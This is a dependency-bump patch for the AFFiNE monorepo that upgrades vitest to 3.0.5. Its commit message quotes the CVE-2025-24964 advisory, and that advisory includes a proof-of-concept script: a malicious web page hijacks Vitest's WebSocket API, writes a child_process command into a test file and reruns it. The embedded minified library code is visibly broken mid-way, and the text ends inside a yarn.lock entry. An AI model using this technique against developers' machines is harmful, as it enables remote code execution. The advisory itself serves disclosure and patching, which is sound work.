From 75c429132544be58fe93ffe133178412c26e0536 Mon Sep 17 00:00:00 2001 From: renovate <29139614+renovate@users.noreply.github.com> Date: Wed, 5 Feb 2025 09:12:58 +0000 Subject: [PATCH] chore: bump up vitest version to v3.0.5 [SECURITY] (#9938) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This PR contains the following updates: | Package | Change | Age | Adoption | Passing | Confidence | |---|---|---|---|---|---| | [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/vitest/3.0.2/3.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | ### GitHub Vulnerability Alerts #### [CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq) ### Summary Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks. ### Details When [`api` option](https://vitest.dev/config/#api) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46 This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76 ### PoC 1. Open Vitest UI. 2. Access a malicious web site with the script below. 3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed. ```js // code from https://github.com/WebReflection/flatted const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p { console.log(e.data) }) ws.addEventListener('open', () => { ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] })) const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles" // edit file content to inject command execution ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "saveTestFile", a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"] })) // rerun the tests to run the injected command execution code ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "rerun", a: [testFilePath] })) }) ``` ### Impact This vulnerability can result in remote code execution for users that are using Vitest serve API. --- ### Release Notes
vitest-dev/vitest (vitest) ### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5) [Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5) ##### 🚀 Features - **ui**: Insert message "no tests found" in ui - by [@​DevJoaoLopes](https://redirect.github.com/DevJoaoLopes) in [https://github.com/vitest-dev/vitest/issues/7366](https://redirect.github.com/vitest-dev/vitest/issues/7366) [(92da4)](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd) ##### 🐞 Bug Fixes - Validate websocket request - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7317](https://redirect.github.com/vitest-dev/vitest/issues/7317) [(191ef)](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34) - Don't toggle cli cursor on non-TTY - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7336](https://redirect.github.com/vitest-dev/vitest/issues/7336) [(3c805)](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69) - **vite-node**: Differentiate file url with hash and query - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7365](https://redirect.github.com/vitest-dev/vitest/issues/7365) [(926ca)](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546) ##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5) ### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4) [Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4) #####    🐞 Bug Fixes - Filter projects eagerly during config resolution  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7313](https://redirect.github.com/vitest-dev/vitest/issues/7313) [(dff44)](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d) - Apply `development|production` condition on Vites 6 by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) and [@​sheremet-va](https://redirect.github.com/sheremet-va) ([#​7301](https://redirect.github.com/vitest-dev/vitest/issues/7301)) [(ef146)](https://redirect.github.com/vitest-dev/vitest/commit/ef1464fc7b101709bfbf7b040e5bad62998c2ff9) - **browser**: Restrict served files from `/__screenshot-error`  -  by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7340](https://redirect.github.com/vitest-dev/vitest/issues/7340) [(ed9ae)](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2) - **deps**: Update all non-major dependencies  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7297](https://redirect.github.com/vitest-dev/vitest/issues/7297) [(38ea8)](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae) - **runner**: Timeout long sync hook  -  by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7289](https://redirect.github.com/vitest-dev/vitest/issues/7289) [(c60ee)](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c) - **typechecking**: Support typechecking parsing with Vite 6  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7335](https://redirect.github.com/vitest-dev/vitest/issues/7335) [(bff70)](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9) - **types**: Fix public types  -  by [@​mrginglymus](https://redirect.github.com/mrginglymus) and [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7328](https://redirect.github.com/vitest-dev/vitest/issues/7328) [(ce6af)](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c) #####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4) ### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3) [Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3) #####    🐞 Bug Fixes - **browser**: - Don't throw a validation error if v8 coverage is used with filtered instances  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7306](https://redirect.github.com/vitest-dev/vitest/issues/7306) [(fa463)](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2) - Don't fail when running --browser.headless if the browser projest is part of the workspace  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7311](https://redirect.github.com/vitest-dev/vitest/issues/7311) [(e43a8)](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56) #####    🏎 Performance - **reporters**: Update summary only when needed  -  by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7291](https://redirect.github.com/vitest-dev/vitest/issues/7291) [(7f36b)](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9) #####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)
--- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). --- blocksuite/affine/block-embed/package.json | 2 +- blocksuite/affine/block-list/package.json | 2 +- blocksuite/affine/block-surface/package.json | 2 +- blocksuite/affine/shared/package.json | 2 +- blocksuite/blocks/package.json | 2 +- blocksuite/framework/block-std/package.json | 2 +- blocksuite/framework/global/package.json | 2 +- blocksuite/framework/inline/package.json | 2 +- blocksuite/framework/store/package.json | 2 +- blocksuite/framework/sync/package.json | 2 +- package.json | 2 +- packages/common/debug/package.json | 2 +- packages/common/env/package.json | 2 +- packages/common/infra/package.json | 2 +- packages/common/nbstore/package.json | 2 +- packages/frontend/apps/electron/package.json | 2 +- packages/frontend/component/package.json | 2 +- packages/frontend/core/package.json | 2 +- packages/frontend/graphql/package.json | 2 +- packages/frontend/i18n/package.json | 2 +- yarn.lock | 184 +++++++++++-------- 21 files changed, 130 insertions(+), 94 deletions(-) diff --git a/blocksuite/affine/block-embed/package.json b/blocksuite/affine/block-embed/package.json index a1892d71a..5b658eaac 100644 --- a/blocksuite/affine/block-embed/package.json +++ b/blocksuite/affine/block-embed/package.json @@ -32,7 +32,7 @@ "zod": "^3.23.8" }, "devDependencies": { - "vitest": "3.0.2" + "vitest": "3.0.5" }, "exports": { ".": "./src/index.ts", diff --git a/blocksuite/affine/block-list/package.json b/blocksuite/affine/block-list/package.json index 7aac1e8b6..bbd2971e0 100644 --- a/blocksuite/affine/block-list/package.json +++ b/blocksuite/affine/block-list/package.json @@ -30,7 +30,7 @@ "zod": "^3.23.8" }, "devDependencies": { - "vitest": "3.0.2" + "vitest": "3.0.5" }, "exports": { ".": "./src/index.ts", diff --git a/blocksuite/affine/block-surface/package.json b/blocksuite/affine/block-surface/package.json index 2fb65391e..685c5c928 100644 --- a/blocksuite/affine/block-surface/package.json +++ b/blocksuite/affine/block-surface/package.json @@ -32,7 +32,7 @@ }, "devDependencies": { "@types/lodash.chunk": "^4.2.9", - "vitest": "3.0.2" + "vitest": "3.0.5" }, "exports": { ".": "./src/index.ts", diff --git a/blocksuite/affine/shared/package.json b/blocksuite/affine/shared/package.json index 602fd17a4..7de55d5d1 100644 --- a/blocksuite/affine/shared/package.json +++ b/blocksuite/affine/shared/package.json @@ -72,7 +72,7 @@ "devDependencies": { "@types/lodash.clonedeep": "^4.5.9", "@types/lodash.mergewith": "^4", - "vitest": "3.0.2" + "vitest": "3.0.5" }, "version": "0.19.0" } diff --git a/blocksuite/blocks/package.json b/blocksuite/blocks/package.json index 99e5ca604..5df6b4519 100644 --- a/blocksuite/blocks/package.json +++ b/blocksuite/blocks/package.json @@ -84,6 +84,6 @@ "devDependencies": { "@types/katex": "^0.16.7", "@types/lodash.isequal": "^4.5.8", - "vitest": "3.0.2" + "vitest": "3.0.5" } } diff --git a/blocksuite/framework/block-std/package.json b/blocksuite/framework/block-std/package.json index fde51dfed..c2d747fe5 100644 --- a/blocksuite/framework/block-std/package.json +++ b/blocksuite/framework/block-std/package.json @@ -35,7 +35,7 @@ "zod": "^3.23.8" }, "devDependencies": { - "vitest": "3.0.2" + "vitest": "3.0.5" }, "exports": { ".": "./src/index.ts", diff --git a/blocksuite/framework/global/package.json b/blocksuite/framework/global/package.json index d16130199..ff4f80f63 100644 --- a/blocksuite/framework/global/package.json +++ b/blocksuite/framework/global/package.json @@ -49,7 +49,7 @@ "zod": "^3.23.8" }, "devDependencies": { - "vitest": "3.0.2" + "vitest": "3.0.5" }, "version": "0.19.0" } diff --git a/blocksuite/framework/inline/package.json b/blocksuite/framework/inline/package.json index 439d4ee69..92b75b628 100644 --- a/blocksuite/framework/inline/package.json +++ b/blocksuite/framework/inline/package.json @@ -32,7 +32,7 @@ "zod": "^3.23.8" }, "devDependencies": { - "vitest": "3.0.2" + "vitest": "3.0.5" }, "version": "0.19.0" } diff --git a/blocksuite/framework/store/package.json b/blocksuite/framework/store/package.json index 882f6be74..d2150f4a5 100644 --- a/blocksuite/framework/store/package.json +++ b/blocksuite/framework/store/package.json @@ -33,7 +33,7 @@ "devDependencies": { "@types/lodash.clonedeep": "^4.5.9", "@types/lodash.merge": "^4.6.9", - "vitest": "3.0.2" + "vitest": "3.0.5" }, "exports": { ".": "./src/index.ts", diff --git a/blocksuite/framework/sync/package.json b/blocksuite/framework/sync/package.json index d2486b4b9..b5a8079b5 100644 --- a/blocksuite/framework/sync/package.json +++ b/blocksuite/framework/sync/package.json @@ -18,7 +18,7 @@ "y-protocols": "^1.0.6" }, "devDependencies": { - "vitest": "3.0.2" + "vitest": "3.0.5" }, "peerDependencies": { "yjs": "*" diff --git a/package.json b/package.json index 887444371..27e773803 100644 --- a/package.json +++ b/package.json @@ -90,7 +90,7 @@ "typescript-eslint": "^8.18.0", "unplugin-swc": "^1.5.1", "vite": "^6.0.3", - "vitest": "3.0.2" + "vitest": "3.0.5" }, "packageManager": "yarn@4.6.0", "resolutions": { diff --git a/packages/common/debug/package.json b/packages/common/debug/package.json index 008949b44..9147b5f35 100644 --- a/packages/common/debug/package.json +++ b/packages/common/debug/package.json @@ -9,7 +9,7 @@ }, "devDependencies": { "@types/debug": "^4.1.12", - "vitest": "3.0.2" + "vitest": "3.0.5" }, "version": "0.19.0" } diff --git a/packages/common/env/package.json b/packages/common/env/package.json index 929c04678..6e0f7fc15 100644 --- a/packages/common/env/package.json +++ b/packages/common/env/package.json @@ -3,7 +3,7 @@ "private": true, "type": "module", "devDependencies": { - "vitest": "3.0.2" + "vitest": "3.0.5" }, "exports": { "./automation": "./src/automation.ts", diff --git a/packages/common/infra/package.json b/packages/common/infra/package.json index 45d06df29..fb1edc8be 100644 --- a/packages/common/infra/package.json +++ b/packages/common/infra/package.json @@ -38,7 +38,7 @@ "@types/react": "^19.0.1", "fake-indexeddb": "^6.0.0", "rxjs": "^7.8.1", - "vitest": "3.0.2" + "vitest": "3.0.5" }, "peerDependencies": { "electron": "*", diff --git a/packages/common/nbstore/package.json b/packages/common/nbstore/package.json index 6fa6a1454..738723ae4 100644 --- a/packages/common/nbstore/package.json +++ b/packages/common/nbstore/package.json @@ -30,7 +30,7 @@ "fake-indexeddb": "^6.0.0", "idb": "^8.0.0", "socket.io-client": "^4.8.1", - "vitest": "3.0.2" + "vitest": "3.0.5" }, "peerDependencies": { "@affine/graphql": "workspace:*", diff --git a/packages/frontend/apps/electron/package.json b/packages/frontend/apps/electron/package.json index ea323b2e3..fc72dfd7e 100644 --- a/packages/frontend/apps/electron/package.json +++ b/packages/frontend/apps/electron/package.json @@ -72,7 +72,7 @@ "tree-kill": "^1.2.2", "ts-node": "^10.9.2", "uuid": "^11.0.3", - "vitest": "3.0.2", + "vitest": "3.0.5", "zod": "^3.24.1" }, "dependencies": { diff --git a/packages/frontend/component/package.json b/packages/frontend/component/package.json index 76425acf4..8cf43311b 100644 --- a/packages/frontend/component/package.json +++ b/packages/frontend/component/package.json @@ -82,7 +82,7 @@ "typescript": "^5.7.2", "unplugin-swc": "^1.5.1", "vite": "^6.0.3", - "vitest": "3.0.2" + "vitest": "3.0.5" }, "version": "0.19.0" } diff --git a/packages/frontend/core/package.json b/packages/frontend/core/package.json index 535eb325a..4a1b51a12 100644 --- a/packages/frontend/core/package.json +++ b/packages/frontend/core/package.json @@ -91,6 +91,6 @@ "@vanilla-extract/css": "^1.16.1", "fake-indexeddb": "^6.0.0", "lodash-es": "^4.17.21", - "vitest": "3.0.2" + "vitest": "3.0.5" } } diff --git a/packages/frontend/graphql/package.json b/packages/frontend/graphql/package.json index 493498bb5..01227062d 100644 --- a/packages/frontend/graphql/package.json +++ b/packages/frontend/graphql/package.json @@ -18,7 +18,7 @@ "@graphql-codegen/typescript-operations": "^4.4.0", "@types/lodash-es": "^4.17.12", "prettier": "^3.4.2", - "vitest": "3.0.2" + "vitest": "3.0.5" }, "scripts": { "build": "gql-gen --errors-only" diff --git a/packages/frontend/i18n/package.json b/packages/frontend/i18n/package.json index 850dd00fa..570c4774c 100644 --- a/packages/frontend/i18n/package.json +++ b/packages/frontend/i18n/package.json @@ -27,7 +27,7 @@ }, "devDependencies": { "glob": "^11.0.0", - "vitest": "3.0.2" + "vitest": "3.0.5" }, "version": "0.19.0" } diff --git a/yarn.lock b/yarn.lock index e5bcf3994..16c0d0b1b 100644 --- a/yarn.lock +++ b/yarn.lock @@ -328,7 +328,7 @@ __metadata: typescript: "npm:^5.7.2" unplugin-swc: "npm:^1.5.1" vite: "npm:^6.0.3" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" zod: "npm:^3.24.1" peerDependencies: "@blocksuite/affine": "*" @@ -430,7 +430,7 @@ __metadata: socket.io-client: "npm:^4.8.1" swr: "npm:2.3.0" tinykeys: "patch:tinykeys@npm%3A2.1.0#~/.yarn/patches/tinykeys-npm-2.1.0-819feeaed0.patch" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" y-protocols: "npm:^1.0.6" yjs: "npm:^13.6.21" zod: "npm:^3.24.1" @@ -443,7 +443,7 @@ __metadata: dependencies: "@types/debug": "npm:^4.1.12" debug: "npm:^4.4.0" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" languageName: unknown linkType: soft @@ -542,7 +542,7 @@ __metadata: tree-kill: "npm:^1.2.2" ts-node: "npm:^10.9.2" uuid: "npm:^11.0.3" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" yjs: "npm:^13.6.21" zod: "npm:^3.24.1" peerDependencies: @@ -554,7 +554,7 @@ __metadata: version: 0.0.0-use.local resolution: "@affine/env@workspace:packages/common/env" dependencies: - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" zod: "npm:^3.24.1" peerDependencies: "@affine/templates": "workspace:*" @@ -576,7 +576,7 @@ __metadata: lodash: "npm:^4.17.21" lodash-es: "npm:^4.17.21" prettier: "npm:^3.4.2" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" languageName: unknown linkType: soft @@ -592,7 +592,7 @@ __metadata: react: "npm:^19.0.0" react-i18next: "npm:^15.2.0" undici: "npm:^7.1.0" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" languageName: unknown linkType: soft @@ -696,7 +696,7 @@ __metadata: typescript-eslint: "npm:^8.18.0" unplugin-swc: "npm:^1.5.1" vite: "npm:^6.0.3" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" languageName: unknown linkType: soft @@ -726,7 +726,7 @@ __metadata: nanoid: "npm:^5.0.9" rxjs: "npm:^7.8.1" socket.io-client: "npm:^4.8.1" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" y-protocols: "npm:^1.0.6" yjs: "npm:^13.6.21" peerDependencies: @@ -3446,7 +3446,7 @@ __metadata: "@toeverything/theme": "npm:^1.1.7" lit: "npm:^3.2.0" minimatch: "npm:^10.0.1" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" yjs: "npm:^13.6.21" zod: "npm:^3.23.8" languageName: unknown @@ -3543,7 +3543,7 @@ __metadata: "@types/mdast": "npm:^4.0.4" lit: "npm:^3.2.0" minimatch: "npm:^10.0.1" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" zod: "npm:^3.23.8" languageName: unknown linkType: soft @@ -3638,7 +3638,7 @@ __metadata: lit: "npm:^3.2.0" lodash.chunk: "npm:^4.2.0" nanoid: "npm:^5.0.7" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" yjs: "npm:^13.6.21" zod: "npm:^3.23.8" languageName: unknown @@ -3754,7 +3754,7 @@ __metadata: remark-parse: "npm:^11.0.0" remark-stringify: "npm:^11.0.0" unified: "npm:^11.0.5" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" yjs: "npm:^13.6.21" zod: "npm:^3.23.8" languageName: unknown @@ -3883,7 +3883,7 @@ __metadata: lz-string: "npm:^1.5.0" rehype-parse: "npm:^9.0.0" unified: "npm:^11.0.5" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" w3c-keyname: "npm:^2.2.8" yjs: "npm:^13.6.21" zod: "npm:^3.23.8" @@ -3947,7 +3947,7 @@ __metadata: pdf-lib: "npm:^1.17.1" shiki: "npm:^2.0.0" simple-xml-to-json: "npm:^1.2.2" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" yjs: "npm:^13.6.21" zod: "npm:^3.23.8" languageName: unknown @@ -3982,7 +3982,7 @@ __metadata: "@preact/signals-core": "npm:^1.8.0" lib0: "npm:^0.2.97" lit: "npm:^3.2.0" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" zod: "npm:^3.23.8" languageName: unknown linkType: soft @@ -4011,7 +4011,7 @@ __metadata: "@blocksuite/global": "workspace:*" "@preact/signals-core": "npm:^1.8.0" lit: "npm:^3.2.0" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" yjs: "npm:^13.6.21" zod: "npm:^3.23.8" languageName: unknown @@ -4123,7 +4123,7 @@ __metadata: lodash.merge: "npm:^4.6.2" minimatch: "npm:^10.0.1" nanoid: "npm:^5.0.7" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" y-protocols: "npm:^1.0.6" yjs: "npm:^13.6.21" zod: "npm:^3.23.8" @@ -4137,7 +4137,7 @@ __metadata: "@blocksuite/global": "workspace:*" idb: "npm:^8.0.0" idb-keyval: "npm:^6.2.1" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" y-protocols: "npm:^1.0.6" peerDependencies: yjs: "*" @@ -14558,7 +14558,7 @@ __metadata: nanoid: "npm:^5.0.9" react: "npm:19.0.0" rxjs: "npm:^7.8.1" - vitest: "npm:3.0.2" + vitest: "npm:3.0.5" yjs: "npm:^13.6.21" zod: "npm:^3.24.1" peerDependencies: @@ -16187,15 +16187,15 @@ __metadata: languageName: node linkType: hard -"@vitest/expect@npm:3.0.2": - version: 3.0.2 - resolution: "@vitest/expect@npm:3.0.2" +"@vitest/expect@npm:3.0.5": + version: 3.0.5 + resolution: "@vitest/expect@npm:3.0.5" dependencies: - "@vitest/spy": "npm:3.0.2" - "@vitest/utils": "npm:3.0.2" + "@vitest/spy": "npm:3.0.5" + "@vitest/utils": "npm:3.0.5" chai: "npm:^5.1.2" tinyrainbow: "npm:^2.0.0" - checksum: 10/0dd4e0e269d0f3890b5767ccc376c6ba2511cfd303169ed2aaa1ff1b33cace5257d1a18a2b5d04e4dccaf8235c95428973f5450ce121ce6a0094236d2286259e + checksum: 10/e9dfaed51e3a2952306fa621b4fe6c4323b367c8b731fc57d661d971628df89d1bfa163be79e4de3004d6e2e32c99b496efb8d065db6cf41d6be01dc2b833f8d languageName: node linkType: hard @@ -16218,6 +16218,25 @@ __metadata: languageName: node linkType: hard +"@vitest/mocker@npm:3.0.5": + version: 3.0.5 + resolution: "@vitest/mocker@npm:3.0.5" + dependencies: + "@vitest/spy": "npm:3.0.5" + estree-walker: "npm:^3.0.3" + magic-string: "npm:^0.30.17" + peerDependencies: + msw: ^2.4.9 + vite: ^5.0.0 || ^6.0.0 + peerDependenciesMeta: + msw: + optional: true + vite: + optional: true + checksum: 10/84f3f8bbefdde91467d4bb6e5ea62227fdd86dce5567d0a2a04329033e1ed6cffe140d5b1cd58d323792d4116ba67562539d22c80910d60310eede940c94eb8b + languageName: node + linkType: hard + "@vitest/pretty-format@npm:2.0.5": version: 2.0.5 resolution: "@vitest/pretty-format@npm:2.0.5" @@ -16236,7 +16255,7 @@ __metadata: languageName: node linkType: hard -"@vitest/pretty-format@npm:3.0.2, @vitest/pretty-format@npm:^3.0.2": +"@vitest/pretty-format@npm:3.0.2": version: 3.0.2 resolution: "@vitest/pretty-format@npm:3.0.2" dependencies: @@ -16245,24 +16264,33 @@ __metadata: languageName: node linkType: hard -"@vitest/runner@npm:3.0.2": - version: 3.0.2 - resolution: "@vitest/runner@npm:3.0.2" +"@vitest/pretty-format@npm:3.0.5, @vitest/pretty-format@npm:^3.0.5": + version: 3.0.5 + resolution: "@vitest/pretty-format@npm:3.0.5" dependencies: - "@vitest/utils": "npm:3.0.2" - pathe: "npm:^2.0.1" - checksum: 10/4cdf25a878ec9a253544addda25e8a16c4661fde73ea83036dab1c9f34d67f48a48b0e13b633afca182623be89d246b84ad83cd73d77318bf5fa33dff5b4b843 + tinyrainbow: "npm:^2.0.0" + checksum: 10/1ffbee16e9aa2cd7862bc6b83c30b7b53031d29ddae0302d09e6b1f6bfa0e4338e5c74a2dfaeed1bab317aff300c4fd309004dbaa69baf9ebe71f6806b132e96 languageName: node linkType: hard -"@vitest/snapshot@npm:3.0.2": - version: 3.0.2 - resolution: "@vitest/snapshot@npm:3.0.2" +"@vitest/runner@npm:3.0.5": + version: 3.0.5 + resolution: "@vitest/runner@npm:3.0.5" dependencies: - "@vitest/pretty-format": "npm:3.0.2" + "@vitest/utils": "npm:3.0.5" + pathe: "npm:^2.0.2" + checksum: 10/7aedf5d445aec3da83790cc94e135f64a1c407e437276694ca5a0567db055f49481b2622ab24faabb4482a1829d18dbc5cae31738b5a015669651cda8e0e7238 + languageName: node + linkType: hard + +"@vitest/snapshot@npm:3.0.5": + version: 3.0.5 + resolution: "@vitest/snapshot@npm:3.0.5" + dependencies: + "@vitest/pretty-format": "npm:3.0.5" magic-string: "npm:^0.30.17" - pathe: "npm:^2.0.1" - checksum: 10/1daec6ec52bc4c4f859f0222a6c9dfad22ebcfedfb2ceb13e23fed06e54a5307c950f595973882d9ca9fdc647a08c975d21f1883764a82a8b9f178022e59f2c5 + pathe: "npm:^2.0.2" + checksum: 10/3c6a3165556dc4a3fc50c9532dc047b5bf57df1bbad657ca7e34ca65e9aeb61740a0eaebe9eb6200a30d92f457a402ce3d22b21700a1763a5ec4bddf81733709 languageName: node linkType: hard @@ -16284,6 +16312,15 @@ __metadata: languageName: node linkType: hard +"@vitest/spy@npm:3.0.5": + version: 3.0.5 + resolution: "@vitest/spy@npm:3.0.5" + dependencies: + tinyspy: "npm:^3.0.2" + checksum: 10/ed85319cd03f3f35121e84ce31721316daf94a7c01d493dff746ff5469d12e40b218cc728d57c5a71612c5a3882e8e66d9cefe82b82c2044d5f257954ec7e9d8 + languageName: node + linkType: hard + "@vitest/ui@npm:3.0.2": version: 3.0.2 resolution: "@vitest/ui@npm:3.0.2" @@ -16324,6 +16361,17 @@ __metadata: languageName: node linkType: hard +"@vitest/utils@npm:3.0.5": + version: 3.0.5 + resolution: "@vitest/utils@npm:3.0.5" + dependencies: + "@vitest/pretty-format": "npm:3.0.5" + loupe: "npm:^3.1.2" + tinyrainbow: "npm:^2.0.0" + checksum: 10/4e85a7514592df63870eb4ec27c434034cc91c9e63c052bcb2304c4cc2f4fbb49350099280480313e93526247d020b42bea52436cf7f93fee0bd98cfac51a644 + languageName: node + linkType: hard + "@vitest/utils@npm:^2.1.1": version: 2.1.8 resolution: "@vitest/utils@npm:2.1.8" @@ -34999,18 +35047,18 @@ __metadata: languageName: node linkType: hard -"vite-node@npm:3.0.2": - version: 3.0.2 - resolution: "vite-node@npm:3.0.2" +"vite-node@npm:3.0.5, vite-node@npm:^3.0.4": + version: 3.0.5 + resolution: "vite-node@npm:3.0.5" dependencies: cac: "npm:^6.7.14" debug: "npm:^4.4.0" es-module-lexer: "npm:^1.6.0" - pathe: "npm:^2.0.1" + pathe: "npm:^2.0.2" vite: "npm:^5.0.0 || ^6.0.0" bin: vite-node: vite-node.mjs - checksum: 10/e07d8626865327ceff73fc6b0c7996a3f0da33c40c9c2985ae881618887805693497d6d7565c374983c6d3b5bc9a0bcfe33a2169bd788ae5a31c91e670c2b412 + checksum: 10/804d3a4a794f9fa7d5c7b433e96b0813eee39b8c0d4da5c8fe28c9a2aa226702ec711e272a66a5208944f26a35e46d931fc09b1404b04db1cf607f58af1baf6b languageName: node linkType: hard @@ -35029,21 +35077,6 @@ __metadata: languageName: node linkType: hard -"vite-node@npm:^3.0.4": - version: 3.0.4 - resolution: "vite-node@npm:3.0.4" - dependencies: - cac: "npm:^6.7.14" - debug: "npm:^4.4.0" - es-module-lexer: "npm:^1.6.0" - pathe: "npm:^2.0.2" - vite: "npm:^5.0.0 || ^6.0.0" - bin: - vite-node: vite-node.mjs - checksum: 10/89d21f8d788b7e90aaedc149646123761b0a073ee1db5dd9eef109cd142ce465a00b0e0c0d1a8897f6b1080b7e5ec879e9f19e149774b111e7f162001ac34665 - languageName: node - linkType: hard - "vite-plugin-istanbul@npm:^6.0.2": version: 6.0.2 resolution: "vite-plugin-istanbul@npm:6.0.2" @@ -35136,40 +35169,43 @@ __metadata: languageName: node linkType: hard -"vitest@npm:3.0.2, vitest@npm:^3.0.0": - version: 3.0.2 - resolution: "vitest@npm:3.0.2" +"vitest@npm:3.0.5, vitest@npm:^3.0.0": + version: 3.0.5 + resolution: "vitest@npm:3.0.5" 